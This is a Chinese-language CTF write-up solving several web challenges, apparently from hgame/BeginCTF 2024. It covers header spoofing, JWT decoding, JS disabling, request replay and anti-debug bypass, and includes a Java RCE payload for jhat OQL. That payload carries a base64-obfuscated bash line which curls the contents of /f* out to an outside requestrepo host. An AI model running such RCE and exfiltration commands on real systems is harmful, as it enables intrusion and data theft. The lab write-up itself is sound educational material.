by:Infernity
ezHTTP
请从vidar.club访问这个页面
在请求头中插入
referer:vidar.club
请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面
明显的UA头,修改UA头为以上。
请从本地访问这个页面
本地访问不止X-Forwarded-For一个头,有很多种,这里是X-Real-IP:127.0.0.1
最后拿到一串字符串
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc
base64解密后拿到flag
hgame{HTTP_!s_1mP0rT4nt}
当然这里不是base64,但是对于拿到flag来说,base64解密已经够了。解密时记得去掉点号。
Bypass it
一个登录注册题,但是不让我注册
弹窗一看就是JavaScript弄的,但是为了严谨,查看源码,注册那里有个/register_page.php
点进去发现这样一段代码
1 | <script language='javascript' defer>alert('很抱歉,当前不允许注册');top.location.href='login.html'</script> |
这段代码是直接弹个窗,然后重定向到Login页面。那么好,直接禁用js就可以了,关于哪个浏览器如何禁用js这里不再赘述。
禁用后,就可以注册了,注册后退回到login界面,登录后一片白,但是看源码发现这里也是通过js重定向到userIndex.php页面,但是我们禁用了JS,这里就不会跳转,那我们就手动跳转入userIndex.php,进去后点击click here 拿到flag
hgame{5ca7e8897ddd8913d4d1fcba65e55acf7cfa8827}
SeleSelect Courses
这道题我不知道是哪来的什么提示或者是在考啥。进入后抓取选课的包,重复发同一个包几千遍,就会有一次选上,重复这个流程,直到五个都被选上,我这里是用burp发包的,写脚本亦可。
五个都选上后拿到flag
begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}
2048*16
这里首先的难点是我们明知道是JS游戏题,想要去调试,修改变量直接获取胜利,但是这里首先ban掉了F12和鼠标右键,还有ctrl+U这些不让我们看源码和调试,这个是JS做到的,所以我们还是直接禁用JS就可以打开调试工具了。
新的问题来了,这里JS关闭后,游戏不会正常启动,调试工具倒是打开了,那么这里利用浏览器的性质,打开F12后刷新也会保留F12。所以我们这里再打开JS刷新页面即可。
新的问题来了,这里触发了JS反调试,无限debugger,这样是无法调试的,我们需要反 反调试。
https://blog.csdn.net/wxtcstt/article/details/129906561
在控制台里按以下方法输入:
- 打开F12点击Console
- 输入(function(){}).constructor === Function,回车;
- 如果返回的是true,继续输入Function.prototype.constructor = function(){},并回车;
- 切换回sources选项卡,点击继续执行,无限debugger的问题就解决了
这里第一步我们就解决了,可以调试了,但是这道题把分数变量藏得很深,不能直接通过修改分数来达成目的。
我们搜索won,把断点打在1207行,这里明显是判断胜负的地方,那么,我们继续故意输掉游戏,让游戏卡在断点处。
输掉游戏后,我们逐步跟进
差不多五六步之后,出现了这样一个变量
很明显了,我们在控制台处输入x=true
然后放开调试,让程序正常运行,拿到flag
flag{b99b820f-934d-44d4-93df-41361df7df2d}
jhat
提示1hint1: need rce
提示2hint2: focus on oql
提示3hint3: 题目不出网 想办法拿到执行结果
提示已经给的很全面了,打开环境后,进入OQL,即Object Query Language (OQL) query
然后要在这个框框里打payload进行rce,java题通用的rce payload为
1 | java.lang.Runtime.getRuntime().exec("payload") |
那么题目不出网,老方法,DNSlog外带。该方法在week2里已经写过,这里不再赘述。
1 | java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgY2F0IC9mKmAuM2p1c2V2NTUucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}") |
hgame{c000110cc71ea5a1e5b4366597038d8855af5a0f}